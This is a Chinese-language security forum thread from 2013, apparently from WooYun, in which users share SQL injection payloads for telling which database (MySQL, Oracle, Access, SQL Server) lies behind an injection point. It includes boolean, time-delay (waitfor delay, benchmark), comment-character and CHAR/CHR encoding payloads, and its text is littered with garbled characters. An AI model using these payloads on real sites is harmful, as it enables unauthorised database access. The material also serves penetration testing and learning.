一个注射点如何最快速确认是什么类型数据库
" X c6 s& Q' @4 i4 M( I) r, K& Kxsser (十根阳具有长短!!) | 2013-02-05 12:363 m4 E, ]! Y7 d1 ?* w6 A6 t) l
假设这么一个注射点:% E4 Q( I# K, I1 P/ A' o
show.html?id=2
& [3 G) I0 [( g7 gmysql:id=2 and version()>0
. m" F' |0 f" e' U1 h# H- i( o* f% toracle:id=2 and '1'||'1'='11, B: r8 v6 g6 W( e
其他的欢迎补充
* _& [7 _/ Y6 x+ B& C' ^! L) q1#* B( Q2 A* Q8 R2 Q3 R+ x$ Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
; n1 D( v6 ^( z" p7 z$ ~Access:
4 e2 T8 k* ~5 \( L) xaNd aSc(cHr(97))=97( V3 E, a9 J( C9 P; s
and exists(select id from MSysAccessObjects)$ R* d" s( v$ g: P+ H! |6 K# |3 f. P' P
SQL Server:, Q# y0 y3 k; C
and exists(select id from sysobjects)' ~+ I7 ?0 N; O. z0 |
and length(user)>0
. {5 W7 L! Q2 F6 x& i! d: S$ KMySQL:
D3 r+ F- R6 J/ ]7 I* `and length(user())>0" i, R- n7 e' v; @; G" q- a: I E
2#
. F- S3 v# n2 j k5 M& L9 Axsser (十根阳具有长短!!) | 2013-02-05 12:48
" X* K, j2 `$ K' t0 R@upload 如果这些都不是呢…/ a! \! F; I/ o" r
3#" b; n2 s/ o+ l4 L6 P. @/ s$ R) K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
! T: h7 f; K7 y% C% M@xsser 不快速的,延时注入
. f! o0 u. g- P9 D" R: k不知道这样写对不对
1 Q, ~# k& q3 G) M/ J: ]mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'# j5 _' Q. O# z3 S/ H K/ g! @
mysql:id=2 and select benchmark(1e8,current_date());# e0 N$ z7 a$ r' a0 \
4#
- `7 \* ? c2 Z( q* X* {! @upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
; O$ s1 d0 h& a' k! J7 l最快的貌似是看报错信息# f6 `+ `! d3 |, u( X" s* t
oracle error! \ N6 B& X- h) x
mssql error) o7 o" [/ Q3 {# w1 Z6 l
mysql error, E; c0 b8 W! x5 A8 H
5#
6 K5 d7 i0 D# B" UNimda (你们都是坏银~) | 2013-02-05 13:14
, @! q. t0 c, C' }, Y# f6 P小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
8 H6 g2 h. p3 F# T3 h. ]6#" s3 j$ {( P7 O5 d' b& t+ |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21! }1 c, T0 b$ `: D e
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:9 k& y& v' u9 R
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:; l9 E4 `( X8 r6 @
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
! a/ q1 Y, F! {/ d0 Y( o7#
( ]- r) ]& w2 C [2 p e/ T. _* ?' ^_Evil (HackEnd) | 2013-02-05 13:33
# |9 V" [1 F8 LPostgreSQL& n! T V4 a1 v( t; `( L9 U
8#( ^" w- D; f! r3 [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
2 B( `. m- d M( O2 j切换编码 and 1=1
; y$ u$ g! E3 n) T" b7 ?% }5 ?, yoracle: h: B; H# J, @ c2 t, L
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
: W# U5 O& [/ t) h4 umssql:
# k0 _1 f' m% ^* A6 n0 y9 mCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
3 Y8 Q1 P; e* x3 v, K' v( d0 D& pmysql:& c* B9 h" Y% o
CHAR(97, 110, 100, 32, 49, 61, 49)
. X6 S6 t, o$ Z8 b7 j5 A' ^1 c9#$ P# C8 G3 ]9 E1 w7 ?2 a
xsser (十根阳具有长短!!) | 2013-02-05 14:31 N+ E$ V2 X! x- U
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
0 g& s" z2 D } D/ z q; O10#5 T0 A) r+ e/ S( b+ d' D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
/ G7 y |; T/ u5 z@xsser 是奇葩数据库类型的么?
. O2 E$ e) C' |! q0 i根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
; z/ d- E' G: \$ j; U1.是否可以使用特定的函数来判断,该数据库特有的1 D- Z+ ]3 c# o4 `. k+ x7 O
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
" {$ I% b9 R* H0 N' m8 `3.是否可以编码查询6 m$ @% [' j2 l
4.是否显可以利用错信息5 J5 M: P7 g# ]. A
5.是否存在数据库某些特性辅助判断1 {) ~! Z3 }2 q9 P( m9 n
个人见解. p6 n* G2 k) ?8 O
11#
' y$ M& Y" V7 z, t1 ]: x7 D小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
+ e; d" w; b1 c' ^, W2 e已收藏,mssql可以直接看到错误提示的吧~9 U! s' o7 i+ L' y( ]; D1 z" c
12# S* _0 h$ |) a9 H0 y
Passer_by | 2013-02-05 15:09% }9 M# ?/ G# Y9 D
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
; w4 g5 E" `8 K; u7 P& b( Gfrom:http://zone.wooyun.org/content/260 |